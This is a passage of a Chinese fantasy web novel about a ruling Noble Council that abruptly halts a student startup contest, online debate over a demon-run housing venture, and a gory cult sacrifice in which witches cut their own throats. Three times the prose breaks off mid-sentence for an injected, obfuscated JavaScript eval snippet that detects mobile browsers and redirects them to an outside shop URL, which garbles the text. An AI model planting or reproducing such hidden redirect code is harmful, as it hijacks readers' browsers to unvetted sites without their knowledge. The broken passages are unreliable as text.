他顶着一股恶心点开那条贵族院官方账号发布的澄清声明，并且在看到“经过向《原子之战》运营公司诚意互娱的调查取证，确定游戏第三区账号‘戈莱特的狗’和阿尔弗雷德·克雷斯并非同一人物”的描述时干呕了起来。 导师7号无疑是贵族院的一员，是祂劝说自己尽快认错，而阿尔弗雷德的确那么干了——尽管是在走投无路的情况下。 而那天出现在他家里的神秘人物也确实是贵族院的一员，他如约以贵族院的名义发布了澄清的公告。 现在，认错声明和澄清公告打起了架，让“阿尔弗雷德·克雷斯”这一人物看起来愈发像一个满嘴谎言的骗子。 他不明就里，但莫名觉得自己捅了一个大篓子。 对了，那天在街上遇到的神秘人，那个人是不是说可以帮他脱离苦海来着？ 是在哪里遇见他的？下次得再去碰碰运气。 * 阿尔弗雷德正在那条熟悉的街道上来回走动，四处搜索那个穿着格纹衬衫的男人。 可谁知道他今天还穿没穿那件讨厌的衬衫。他怎么能长得那么平庸，平庸到扔到人群里就会立刻消失不见！ 不管是什么都好，快点给我出现！ 就在阿尔弗雷德内心第八十九次大声重复这个愿望的时候，有人突然叫住了他。 “少年，你一直在街头彷徨，是否遇上了麻烦？” 阿尔弗雷德内心一喜，激动地回过头去，对上的却是一张陌生的脸。 虽然也很平庸，但和他想找的那张又截然不同。 原来平庸和平庸之间也会有各种各样的差异呢，以前好像从来没有发现过。 他背过身去，打算继续寻找记忆中的那个格纹衬衫的男人。 “因为一个错误的决定而导致了灾难性的后果，你难道不想补救吗？”陌生的男人在他身后说道。 这次，阿尔弗雷德很快就停下了脚步，“你们，真的是有办法的吧？” “当然。” “我跟你走。但你最好别做什么奇怪的事。” “当然。” 112. 比赛终止 阿尔弗雷德被带到了一个偏僻的居民区，跟着陌生人走进小区大门的时候，他看到了地上的巨大纹样。 “这是什么东西？看上去不像是地砖的花纹。” “一种时髦的装饰品。” “是吗？”阿尔弗雷德半信半疑地说道，并在心里说了一句“好土”。 “其实很多麻烦是因为心态问题导致的，所以我们会先给你进行一些心理辅导，然后再开始正式解决问题。”陌生人一边带路一边解释，“真神一定不会放弃祂的信徒。” “我知道了，不过你们最好能搞得快一点。新赛程马上就要开始了。” “对了，在这里接受指导的期间，未经允许不能擅自使用通讯工具。” “什么？我还得运营那些社交网站的账号呢！” “放心，每天会留出时间给你办那些事的。” * “你居然没有经过会议讨论就擅自用官方账号发布公告？你是不是脑子有问题？！你就那么想把贵族院变成一个笑话吗？” 面对韦斯特尔独断专行发布的公告，布劳斯表现得怒火冲天。 “你难道想把贵族院变成自己的一言堂，然后为所欲为吗？” 他每说一句话，就要拍一下桌子。今天他真的有可能拍碎这张重金定制的圆桌。 “麻烦你冷静一点，这又不是什么大事。”贝尔霍特劝了一句。 布劳斯显得更加生气：“不是什么大事？你们难道没有想过如果一般人不再相信贵族院的权威之后会发生什么？” 蒂德莉少见地在这种争执中插播了自己的看法：“真想不到会从你嘴里听到这样的话。回忆一下我们是凭借什么建立起这个组织的。虽然的确有人民的支持，但不全是——” 而韦斯特尔破天荒地接过了她的话：“真正支撑贵族院走到今天的，是我们行使暴力的权限和能力。” ——这确实是蒂德莉想说的，但她敏锐地感觉到韦斯特尔想要表达的内涵和她的绝对不能混为一谈。 她还感觉到韦斯特尔平静的语气之下掩藏的是不可遏制的怒意。 那家伙从以前起就带着一种疯劲，谁知道他又在筹谋什么。 “所以你们是打算放任这条公告变成贵族院的笑话了？”阿斯代伦说，“当然，我无所谓。” “喂，波诺，你平时不是最喜欢说废话的吗，今天怎么不打算发表意见了？”韦斯特尔望向圆桌的一边。 被点到名的人呆滞地看了一眼身边的空位：“我们真的不去寻找一下兰登的下落吗？我觉得自从她失踪以后，一切都变得奇怪了。” 也许很多事情早就变得奇怪了，只是在兰登失踪之后，变得更加不可遏制了而已。 “我有一个提议——”韦斯特尔没有理会波诺的疑问，顾自说道。 * 在创业大赛毫无悬念地进入第三阶段时，贵族院突发公告，宣布今年的比赛就此终止。 这一消息比当初贵族院宣告加入比赛更加令人震惊不已。 似乎大赛官方也没有事前得到通知，显得有些措手不及，但又无法违抗贵族院的决定，只能吃了这个哑巴亏，并暗自祈祷那些任性妄为、想一出是一出的大人物们能站出来说个道理。 这当然是不可能的。 但自始至终，都无人解释终止比赛的原因。于是网络上就传出了各种各样的推测。 [会不会和狗哥的那场乌龙有关系？但这样好像反而欲盖弥彰了。] [其实贵族院早就没有什么信誉可言了吧，你说得出他们做过什么好事没有？狗哥的事情只是一个导火索，把他们的遮羞布给炸没了。终止创业大赛，是不想让民间再看他们笑话了吧。] [不至于，真的不至于。狗哥算什么，不就是个卖衬衫的吗？我看是因为创业大赛再进行下去，魔族复权运动就要卷土重来了，他们能忍得了这种事？] [是说罗德里斯公寓啰？] [其实前十名里面和魔族相关的企划占比不少，如果真的让这些项目汇成一片，估计一个魔族市场也能粗具雏形了——经济基础有了，还怕他们不闹事？把风险扼杀在襁褓里呗。] [笑死，玩不起就别玩，审核的时候倒是大大方方让那些项目过了，现在一看势头不对，就要把人家砍掉，心眼也太小了点。] [如果真的是因为怕魔族卷土重来，倒是可以理解。规避风险嘛。] [天杀的贵族院，你欠我们这些参赛选手的用什么还！] 一时间，视频网站上也涌现出不少分析局势的作品，其中不乏一些热门。 比如有一个up以本届创业大赛赛程为主轴，做了一条时间线，图文并茂地展示了近几个月来罗德里斯公寓的成长和魔族势力的迅速崛起。 该视频的特别之处在于最早把发生于创业大赛第一阶段正式开启前发生的罗德里斯基地爆炸事件也加入进来，让对此间详情还不甚了解的观众们瞬间嗅到一丝火药的味道。 “其实在罗德里斯公寓项目的成绩节节攀升之时，就有人揣测过该项目与罗德里斯基地之间的联系，但那时候普遍认为，罗德里斯公寓只是为了蹭热度，加上体现其是主要服务于魔族社会的一个项目才有了这个命名。” “但事情发展到今天这个局面，我心里不禁有了一个猜想，会不会这个罗德里斯公寓，根本就是罗德里斯基地的精神遗存？当初贵族院之所以迅速炸毁基地，不就是因为怀疑地底存在对人类抱有敌意的魔族反抗势力？而罗德里斯公寓从爆炸事件中吸取了教训，没有公开展现过挑动人魔关系的意图，反而一直将改善人类和魔族的关系作为发展宗旨。” “从创业大赛官方网站被封闭前留下的信息来看，罗德里斯公寓在立项至今的几个月里，对人类开展的援助工作就包括：救灾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581973|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、收容、就业支援，虽然覆盖面不大，但确实为一些遇到困难的人类提供了帮助，反观贵族院，他们有为缓解急速激化的社会矛盾做过什么贡献吗？” [我就是目前在罗德里斯公寓下属部门负责管理工作的人类员工，很感谢老板在我处于失业边缘的时候拉了我一把。在所有人唱衰星屑的时候，老板说星屑市场还会大幅扭转，太有远见了。] [楼上是在矿区工作的吗，可以详细讲讲具体的工作内容还有员工福利什么的吗？最近看了一些消息，有点心动，想去试试。] [之前有个up做过走访工地的视频，可以去看看，工作环境和员工福利没话说，就是感觉人类工人根本比不过巨魔工人的效率，你想去也不知道人家看不看得上。] “我们可以预想一下，如果继续让创业大赛进行下去，也就是说容忍罗德里斯公寓继续发展下去，它的最终形态会是什么样的——它现在已经初步创立了一套依托大树信仰和星屑本位的金融体系，以及与之配套的经济体系，包括生产、流通、市场等各种环节和要素，甚至还在尝试建立医疗、教育体系，这一系列成就无法不让人怀疑，‘公寓’只是它最浅层的表象，这两个字内涵的是‘容身之所’的意思，它想建立起一个以魔族为主导的、或者说至少魔族和人类拥有平等权利的新社会。” [抵制魔族运动！坚决维护人类主体地位！绝对不能放任恶魔对人类权利的僭越！] [抵制魔族运动！坚决维护人类主体地位！绝对不能放任恶魔对人类权利的僭越！] [抵制魔族运动！坚决维护人类主体地位！绝对不能放任恶魔对人类权利的僭越！] [如果它最终目的不是让人类和魔族现有地位进行调换的话，其实我觉得也挺好的，我以前就在想为什么人类和魔族没法和平共处，人类为什么能毫无理由地把魔族当成奴隶，不是提倡众生平等吗？] [把极端种族分子叉出去。] [这个分析还会出下一期吗？想听听up对罗德里斯公寓和贵族院对峙走向的分析。] [大家可以左转科普区看看，现在也出现了很多魔族科普视频。] [其实其他分区里魔族的相关内容也在一直增加，甚至直播区也多了很多真的魔族主播，在文化领域魔族也有反扑趋势吧。] [文化反扑说得太严重了，你说魔族出了畅销书、拍了卖座的电影、做了热门游戏或者音乐什么的，这才能说刚萌芽，离反扑还有十万八千里呢。要是人类文化一扑就败，我看我们也没必要浪费空气了，直接死了给魔族腾地方算了。] 创业大赛的突然终止打了所有参赛者一个措手不及，其中也包括有望获奖的妮娜·斯特尔。她不得不抽时间和教务处以及达尔·达曼讨论如何解决毕业设计的问题。 大四第一个学期即将结束，老教授看上去比放春假的那段时间看起来更加衰老了。 113. 卷土重来 “如果你当初老老实实写论文，也不至于惹出这么多麻烦来。” “我不想做违心的事……尽管我还是希望自己大学四年的学业能得到一个官方的认可，不过现在对我来说没有那么重要了，我找到了自己该做的事。” “噢——噢——该做的事，为那些卑贱的家伙们谋取福祉就是你该做的事？我以前可没看出来你竟还有成为圣人的志向。但有一点你说的对，当你可以证明自己的能力之后，恩斯法内大学给出的学历学位证明就可有可无了。你真的是够出息，连恩斯法内的毕业证书也看不上。” “如果有机会，我还是想拿一张的。让萨利摆在家里显眼的位置。” “根据我的工作经验，教务处不太会认可未经结算的比赛成果，他们就是那么死板。我要重申一遍，如果你想顺利毕业，而不是肄业或者退学，趁现在开始动笔论文也不算太晚，至少你还有整整一个学期，及一个暑假。” “我再考虑考虑，主要是时间的问题。如果能说服教务处以更加贴合实际的方式评判实践项目的成果就最好不过了。” 妮娜将目前为止所有能够提供的项目资料及报告都带了过来，她打印了很多份，其中一份已经交到了教务处那里，手头这份则是准备留在教授这里归档的。 她将文件袋放在办公桌上，然后礼貌地离开了办公室。 达尔·达曼很快在自己的邮箱里找到了报告文件的电子版本，他取下鼻梁上的那副眼镜，用一块布擦了擦，又戴了回去，然后将文件袋放在办公桌的一角，和其他各式各样的文件堆在一起。 他发现文件袋下面压着一份报纸，可能是妮娜·斯特尔无意中夹带进来的，但不排除故意的可能性——说不定报纸上有关于为罗德里斯公寓说好话的报道，而她想把这些矫揉造作、虚情假意的新闻也当做实绩的一部分。 报纸的日期很新，是今天的早报。 达尔·达曼认为反正暂时也没有别的事情，不如看看报纸消磨时间。 比起使用手机上的新闻客户端，他还是更喜欢这种古朴的阅读方式。 报纸上果然有关于罗德里斯公寓的情报，但其内容与达尔·达曼预想的大相径庭。 【罗德里斯公寓的未来，是否在挤压人类的生存空间】 而其他版面上的报道和这篇探讨危机的文章达成了统一的氛围——当然不是夸赞当代大学生头脑灵活、聪明能干——大量篇幅都在描述这几天贵族院的异变。 谁会相信，一个有着三百年历史的国家，它的政治中心会仅仅因为任性地终止了一场参赛者全部都是大学生的比赛而出现崩溃的迹象。 【贵族院是否已经失去信用？社会学家这么看】 【第二次人魔大战，安全局：没影的事！】 老实说，这种社会氛围达尔·达曼已经不是第一次体会了。 上一次……还是在他年纪不大的时候，人类和魔族之间的矛盾积累到了一定程度，引发了一些暴力事件，一些大范围的暴力事件。很多人为此流了血。 而杰基尔·达曼就是其中一名受害者。 可那又怎么样的？在那样紧张的局势下，战争依然没有打响，只是贵族院“顺应民意”，开展了轰轰烈烈的第二次除魔运动而已。 没有势均力敌的双方，怎么能够展开一场能称得上“战争”的行动，不过是单方面的暴力碾压罢了。 以他活在世上六十多年的经验来看，正如那条新闻标题所说的一样，第二次人魔大战是连影子都没有的事情。 他继续快速阅览新闻，最终，注意力停放在科技板块中的一个豆腐干栏目上。 【关于深渊巫妖的信仰基因会对人类社会产生的影响】 作者署名是黑风——一串不知是笔名还是姓氏的文字。 “根据半个世纪前，著名魔族生物学专家杰基尔·达曼整理的研究成果，绝大多数魔族无需经过任何教育和训诫，天生就会对他们共同的母亲，也就是生命之树产生无意识的信仰，而在当时可以得到研究原料的诸多魔族之中，只有深渊巫妖在相关的基因片段中出现了和其他魔族不同的表达…… “由于第二次除魔运动后，民间魔族生物学研究的长期中断，魔族的基因研究也基本销声匿迹。最近，我在接手的研究所工作中…… “可以确定，魔女就是经过人为改造的深渊巫妖…… “……结合基因改造的最新成果，研制出不存在大树信仰的魔女，他们拥有更加强大的力量，而且不受控制，不排除会发生攻击人类事件的可能性……” 达尔·达曼那双捏着报纸两侧边缘的手开始颤抖，他的眼神在这块豆腐干上来回游走，一个个关键字如走马灯一般在他脑海中盘旋。 魔女，人为改造，深渊巫妖，杰基尔·达曼，信仰基因…… 这些文字唤起了一段十分古老的记忆。那是在他还很小的时候，他曾对父亲的研究表现出独属于儿童的好奇，父亲则简单地解释道： “你知道吗，达尔，我发现魔女很可能不是一个独立物种，他们可能是由深渊巫妖改造而来的。” 过往的种种似乎在他脑中串成了完整的前因后果。他父亲的死亡，以及降临在他家的那场灾难，并不是无缘无故的，一切都是因为杰基尔发现了贵族院干的一件丑事，所以贵族院决定杀人灭口。 他对魔族和魔女的厌恶，除了受到社会舆论的影响，更是出于一种方向错误的仇恨。 这个在半个世纪前被严防死守的秘密，如今轻而易举地就被刊登在了面向公众的报纸上，看来贵族院正在切实地失去它的掌控力。 他现在还敢说，第二次人魔大战遥不可及吗？ * 回到公寓之后，妮娜先去隔壁查看了蒙多的状况，而后者则露出了不耐烦的表情。 刚刚获救的炼狱兽还有一点虚弱，不管是身体上还是精神上。 维克多慷慨地把自己的房间让了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591296|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来，带着布莱克住到了赫尔马岱的办公楼里，应该是由于他觉得这时候让蒙多少年呆在魔王的身边于他的身心健康有更多好处。 妮娜起初想为蒙多设计一间与地下基地风格类似的房间，再三考虑之后还是选择了更加普通的房间布局。她担心蒙多仍会沉浸在过去的伤痛中无法走出来。 “我不是小孩子了，你没必要整天盯着我，我不会随便乱跑了，真的！我也没你想的那么脆弱……总之，我很好，用不着在我身上浪费时间。” 话虽然这么说，但一个性格外向的少年突然开始整日把自己关在房间里，很难让人相信他如自己声称的那样身心健康。 “怎么会是浪费时间呢？我想，等你心情好一点了，要不要和艾力克一起去上学？” “我比他大多了，怎么可以和他一起上学，那太丢脸了！” “我的意思是和他一起去学校，你可以选择适合自己的课程。” “有什么用呢？” “嗯？” “上课有什么用呢？学习有什么用呢？上学的话，我就能推翻贵族院，就能把人类赶出这个国度了吗？我不能，你也不能。你没有力量，一切都无济于事。” “我想我并不是在白费功夫。如果等到理想实现的那一天你才愿意从房间里出来，我会努力尽快去实现它的。” “……” 从蒙多的房间出来时，妮娜看到阿加雷斯就站在走廊上，歪着头望着自己。 “找我有事？” 勇者点点头：“可以去你房间里谈吗？” 妮娜觉得今天已经和不同的人进行了太多谈话，不过她还是右转打开房门，把他请了进来。 “我考虑了好几天，觉得还是应该把魔王的力量还给你。”阿加雷斯说。 妮娜一愣，接着有些没好气地看着他：“让我猜猜，你一定不想和曾经并肩作战的伙伴为敌吧，如果人类和魔族真的又要展开一场战争，你打算躲起来吗？既然如此，为什么要到我身边来？” 阿加雷斯神情有点落寞，又有点迷茫。也许他的出逃确实是一时兴起。 于是妮娜又问道：“失去魔王的力量之后，你会怎么样呢？” “不会怎么样。” “我不信。”妮娜说。 阿加雷斯抬头看她。 她继续说：“被魔法强行延长的寿命，当然要靠魔法维持，一旦失去魔法，那些被拉长的时间不会立刻反噬吗？哪有那么好的事情？” 虽然蒂德莉也说过，失去极乐鸟的核心不会有什么影响，但她其实对此半信半疑。 阿加雷斯垂下眼睑：“以前有人做过这样的事，她放弃了大贵族的核心，然后就像普通人一样变老，死去。” “真的？” “真的。” “……好吧，如果真的不需要什么代价的话。我需要做些什么准备吗？” “只要接受就好了。那本来就是你的东西。” 114. 不祥气息 * 距离兰登被带离那个暗无天日的小黑屋已经过去有些天了，蒂德莉亲力亲为地照顾她。 经过合理搭配的营养膳食，舒适的床铺和充足的睡眠时间，简单的室内运动…… 这一切并没有使病人的身体变得健康强壮。 兰登的衰弱一天比一天严重。 看到她能自主行走的时候，蒂德莉还以为她不日便会恢复精神，但翌日，这名病入膏肓的女性便彻底下不了床了。 蒂德莉不懂医术，也没有学过医疗器械的用法，不过她以前收藏的具有健康诊断功能的魔法道具正好派上用场，她用这东西给兰登进行了内科会诊。结果出乎她的意料。 “你看上去脸色铁青，是不是因为数据很糟糕？”兰登陷在被窝里，有气无力地问道。 蒂德莉没有立即回答，似乎还在确认魔法道具是否失灵。 “我能感觉得到，自己的身体已经支撑不了多久了。”兰登说，“所以，不管是怎样的结果，我好像都能接受。” 蒂德莉合上眼睛，答道：“你的器官正在衰竭。” 兰登正如她自己保证的那样，没有表现出意外，她重复了一遍：“我能感觉得到。它们的状态全部都很懈怠，毕竟连轴工作了三百多年。” “……三百多年。” “你看不出来吗？我正在快速老去，说不定明天就会丧命。但我不觉得这有什么好难过的，这算得上是寿终正寝。而真正让我难过的……蒂德莉，你知道是什么。” “我们所有人都再也回不到过去了。” “我经常觉得好像只有我一个人被留在了三百年前。现在，我要成为第一个去见洛伦诺的人了。衰老的感觉并不好，不过这些事情我本该在两百多年前就经历一遍。” 蒂德莉突然叹了一口气：“看来我做决定的时候还是轻率了一点。也就是说，剩下的时间有限，我不能再这么悠闲了对吧？” 兰登疲惫地冲她眨了眨眼睛：“你……” 蒂德莉无奈地笑了一下：“你也许猜到了，我把极乐鸟核心还给了小魔王。” “你！”兰登的语气陡然变得激动起来。 蒂德莉则依然是那副平和的样子：“三百年，你的同伴其实早就不是你认为的那些人了。我有时会羡慕你，可以一直保持过去的那份心情。但也会同情你，看着不断变化的别人和一成不变的自己，你应该会觉得落寞吧？” 兰登舒出一口气，在枕头里陷得更深了一点。 蒂德莉静静地看着她，确定她的心情已经平静一点后，才开口：“我有一个问题。” “什么？” “布劳斯是如何从你体内抽取核心的？巨魔核心并不能赋予持有者太多魔力，而魔力不足根本就无法顺利提取核心。难道他向韦斯特尔寻求了帮助？可我不觉得韦斯特尔能放任布劳斯持有两颗核心……他们应该还没有勾结在一起。” 兰登没有思考太久，便给出了回答：“一切都是布劳斯一个人完成的……他禁锢了我，然后一个人就完成了抽取核心的术式。有了暗夜核心之后，他的魔力一定变得更强了吧……” 蒂德莉眯起眼睛：“真的——只有他一个人？” 巨魔的魔力比极乐鸟还要弱。蒂德莉尚且还要找阿加雷斯操刀手术，布劳斯怎么可能独自一人完成这个仪式？ 兰登看出了她的疑惑，虚弱地笑笑：“布劳斯一直是个很努力的人，而且性子又很倔，如果他认为自己身上存在什么必须补足的缺陷，那他就一定会为此付出不懈努力，直到达成目标，或是撞上南墙。我想，这三百年来，他一定在暗地里进行了不少提升魔力的尝试。” 蒂德莉感到一阵心惊，又有些无语：“你啊……” 然而兰登就是这样一个人。她不仅珍视，也了解自己的同伴，她虽然一直逗留在原地，却也一直守护着初心，即使同伴都抛下她兀自前行，她也锲而不舍地站在后方守护着他们的背影。 即使是给她造成巨大伤害的布劳斯，她也能温柔地说出他的优点。 两位已经失去魔法加持的女性此时并没有嗅到弥漫在贵族院中的那股不祥气息。 * 贝尔霍特隐隐感觉到这栋自己居住了三百年的建筑里似乎正在发生着什么大事。 他循着直觉，找到了一个奇怪的房间，并在里面发现了韦斯特尔的踪影。 “你在做什么？”他问。 那个似乎被一缕阴魂缠绕的男人没有停止手头的工作，头也不回地答道：“正在进行对付那家伙的准备。古老的魔界力量正在接二连三地回到她那里，我们不能坐以待毙。” “你说那家伙，是指魔王吗？” “还能有谁？” “你这家伙虽然不招人喜欢，但在行动力方面总是无可指摘。”贝尔霍特兴高采烈地说道。 “哪比得上你。”韦斯特尔冷嘲热讽。 他说的是几个月前贝尔霍特以罗德里斯公寓为目标展开的以失败告终的轰炸行动。 这让贝尔霍特顿时没了面子：“我没想到她居然可以控制魔法弹的轨迹！哼，如果旧城区那些灾民了解到他们心中那个大好人才是导致他们灾难的罪魁祸首，不知道会露出怎样的嘴脸了。” “三百年了，一点长进都没有！”韦斯特尔恨恨道。他不知道这个外表看上去成熟稳重的同僚为什么会在活了三百多年之后依然如此幼稚。 但若他太过聪明，恐怕又难以利用。 “你不用过于高看那位魔王，一个没有魔力的魔王不足为惧。当时扭转炸弹轨道的并不是她本人，而是她的那栋房子。” “你是说一栋筑龄已经超过五十年的老房子？！” “那只是它的外壳而已。它的内部汇聚了一位远古魔王的魔法精髓，普通的魔法及物理伤害根本不会对它造成任何损伤。” “好吧……那我们该怎么办？趁魔王脱离庇护的时候把她除掉吗？不行，如果把魔王除掉，我们就无法再享受由魔法带来的一切便利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603367|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 韦斯特尔此时已经有些不耐烦了：“总有一些新的东西会来填补那个空缺。我们永远也不会成为特权的顶峰，明白了吗？” “为什么？在这个人民普遍拥有七圣灵信仰的国都里，还有什么比我们更加高贵的实际存在吗？我们可就是信仰本身。” “吹你的牛皮去吧，杂碎们不知道也就罢了，连你也开始自欺欺人。既然你总把魔法的源头挂在嘴边，怎么就记不得信仰的根源也出自魔法？” 贝尔霍特稍微冷静了一点，“那你说说，我们该怎么办？” “真神的救赎！”韦斯特尔眯起眼睛，用一种陶醉的语气说道。 贝尔霍特注意到这个照明糟糕透顶的房间里摆放着一个十分眼熟的祭坛，就是之前韦斯特尔给他吃苹果时摆的那个。 “它是不是变得更脏了？”他看见祭坛两侧的柱子看起来锈迹斑斑，不过那可能不是金属腐蚀的痕迹，而是一些污渍。 韦斯特尔也注意到了那些黑乎乎的东西，他走上前去，用缠绕在手上的黑色烟雾小心擦拭一番，结果那根柱子看起来更加肮脏，韦斯特尔却好像心满意足似的，笑了一下。 贝尔霍特感到一阵胆寒，但他才不会承认自己竟对这位三百余年的熟识感到恐惧，他可是大公家的儿子，而韦斯特尔只是一名内政官。 “什、什么叫真神的救赎……”尽管他努力压制着情绪，但说话的时候舌头还是忍不住地打结。 韦斯特尔从祭坛边上退了下来，将手背在身后：“这不难理解。既然我们当初能想到用魔法对抗魔法，为什么现在不能用信仰对抗信仰呢？从围绕生命之树的信仰中解脱，我们才能真正掌握力量。” “听起来不错……”贝尔霍特低语道，“你是说创造另一种信仰，一种足以和生命之树抗衡的信仰？那不是一件容易的事。三百年前我们就尝试过了——七圣灵信仰，不是吗？可你也说了，那终究也逃不脱生命之树的掌控。” 韦斯特尔发出阴森的笑声：“你还没有理解。” “那你倒是给个解释。”贝尔霍特已经快要对这种没有意义的谈话失去耐心了。 “好好看着。”韦斯特尔拿起祭坛上的遥控，按下一个按钮，空旷的房间里立刻响起一阵喀喀喀的声音，听起来像是过去那种卷帘门打开地声音。 贝尔霍特这才知道如今身处的这个房间并不像它看起来的那么简单。 某种窸窸窣窣的声音在向他涌近，他不禁怀疑那扇卷帘门后面关的是不是成千上万只老鼠。 直到即使在黑暗中也看起来白得吓人的皮肤渐次出现，他终于看清了那是数十名魔女。男男女女都有，每个人的手腕上都有刺青，一些是在左腕，一些是在右腕，这没什么规律。 “喂，你要干什么？”贝尔霍特紧张起来。 不知为何他又想起在研究所看到的场景——那个自我毁灭的女性魔女。 “向真神献上祭品。” 韦斯特尔说出了不祥的话语。 115. 献祭仪式 * “现在我们要做什么？”尚不知晓外边的世界发生了什么的阿尔弗雷德正好奇地看着在一张奇怪的桌子前忙碌着的信徒前辈们。 “向真神献上祭品。” 其中一名前辈如此回答道。 阿尔弗雷德晃动了一下脑袋：“什么祭品？我是不是应该双手合十？” “如果你想那么做的话。” 天真的大学生没有多想，闭上眼睛，将双手合在一起，竖在胸前。 老实说他到现在为止还不能相信那位所谓的真神能够彻底解决他惹上的那通麻烦，不过在这里度过的时间还算愉快，他能够暂时放下烦心事，专心投入于体验这种奇奇怪怪的生活。 过了没多久，嘈杂的脚步声从门口传来，阿尔弗雷德好奇地睁开眼睛，向那边看去，一个看上去是骨干成员的家伙领着一大群人走进了这个空间。 这群人一声不吭地各自寻找座位，很快就坐了下来，安安静静地等待仪式开始。 阿尔弗雷德仍然没有看到能够被当成祭品的东西。 真奇怪，这些人到底打算向真神敬献什么呢？ 刚才回答阿尔弗雷德问题的前辈点了一支蜡烛，并用这支蜡烛点燃了祭坛上方的不知什么东西。 只听见嚯的一声。 明明有更多的蜡烛被点亮了，但房间似乎却变得暗了起来。 阿尔弗雷德觉得有一股力量正在吸引着自己，不是物理层面的吸引，而是好像要将他的灵魂给吸入进去似的。 * 韦斯特尔拿起祭坛上的一盏烛灯，将细长的蜡烛向远离自己的方向倾斜。烛火不知道碰到了什么东西，嚯的一声，祭坛上方有什么东西被点亮了。 ……也许说点暗了更加贴切。 明亮的火光只燃烧了一秒，便瞬间变作蓝色，紫色，深紫色，直到最后变成了一团跳跃的黑色的物质，那团物质开始有规律地按顺时针方向运动起来，变成了一个黑色漩涡。 正当贝尔霍特为眼前的奇景感到惊讶时，伴随着噗嗤一声，一泼黏腻而温热的液体喷射到他的身上。 “搞什么！见鬼！”他破口大骂。 但下一秒，他就发现身上的液体是魔女们自刎后从脖颈中喷出来的热血，顿时感到一阵恶心。 在场的所有魔女以祭坛为中心呈圆形排开，所有人同时自刎，有的向前倒下，有的向后倒下，还有的堆叠在一起，血腥味在短时间内充斥了整个房间。不，那是比血腥味更加邪恶的、难以形容的味道，绝对不仅仅是铁离子的气味。 那些血液并没有老老实实地呆在地上，而是被祭坛上的黑色漩涡吸引，像蛇一样，朝着那个立体空间中的漩涡中心飞去。 漩涡吞噬了血液，就像进食一样，它所吞入的血液越多，自身的“体积”就变得越大，从中心放射出来的一缕黑雾就像一条触手似的，轻轻碰了一下贝尔霍特的右侧脸颊。 那感觉就像是被一条冰冷潮湿的舌头舔了一口。 贝尔霍特不由自主地向后退了几步，他浑身的寒毛都被吓得竖了起来。他觉得等到漩涡的中心膨胀到一定程度，或许就会驱使那些恶心的触手把他抓住，然后吃掉。 “我……我不想看下去了。”他挪动到房门附近，“如果你有什么正常一点的手段，我也许会很乐意和你合作，但你看起来像在引火自焚。” 韦斯特尔没有说话，用狂热的、虔诚的眼神看着那个不断变大的黑洞。 贝尔霍特再也受不了了，打开房门冲了出去。他想找一个地方呕吐。 “你怎么了？” 在头昏脑涨地穿过一条走廊的时候，他听到有人这么问了一句。那是一个熟悉的声音，在过去总是让他感到讨厌的声音，此刻听来却让人感到分外安心——这种安心感源自贝尔霍特终于确定自己依然活着。 “哦……阿斯代伦，你在这里干什么？”他收起了匆忙的脚步，以免暴露自己的慌张和虚弱。 “我要去找韦斯特尔。我给他发了信息，但是完全没有回应。” “你现在最好别去找他。也许会发生不幸的。他正在做一些奇怪的事。” “奇怪的事？”阿斯代伦眯起眼睛，“等等，你的手——” 贝尔霍特飞快地将两只手举到面前，一团肆意蹿动的黑雾正在他的指尖起舞，看得他又是一阵恶心。这下，他终于抑制不住，弯着身子吐了起来。他今天还没有吃饭，吐出来的全是胃里的酸水。 胃是一种情绪器官。绝对是。 “我以为这是巫妖的特质，原来死灵也会产生同样的现象吗？”阿斯代伦说。 “不……不……这都是韦斯特尔搞的鬼，他说要强化信仰，然后就把我变成了这个鬼样子……”贝尔霍特前言不搭后语地说着，根本无法从他的表述中完成对事情发展的梳理，“总之，你现在别去找他，除非你不想要个好下场。” 阿斯代伦半天没有说话。 贝尔霍特不知道他在想什么，但口腔中那种酸溜溜的感觉让他很不好受，他想找个地方给自己清理一下，然后弄一碗养胃的暖汤，至于他造成的地面污渍，他也会让他专门负责保洁工作的魔法道具来处理。 “我先走了，总之，别去找韦斯特尔。” “我可以帮你一把。”阿斯代伦突然说。 贝尔霍特睁大眼睛，一下子就把身子直了起来。他比阿斯代伦高上一点儿，因此可以通过接近俯视的视角观察他的表情。 “你说什么？你要帮我什么？” 阿斯代伦指了指他的手：“我也许有办法帮你去除这东西。” 这东西无疑是指贝尔霍特手上不同寻常的黑色粒子。 “你真的可以做到？”贝尔霍特心中燃起了希望。 “有点代价，不知道你能不能承受。” “代价是什么？” “死灵核心。” * 贝尔霍特·谢帕德出身自一个身份高贵的大公家族。作为次子的他，原本无权继承爵位，于是便主动提 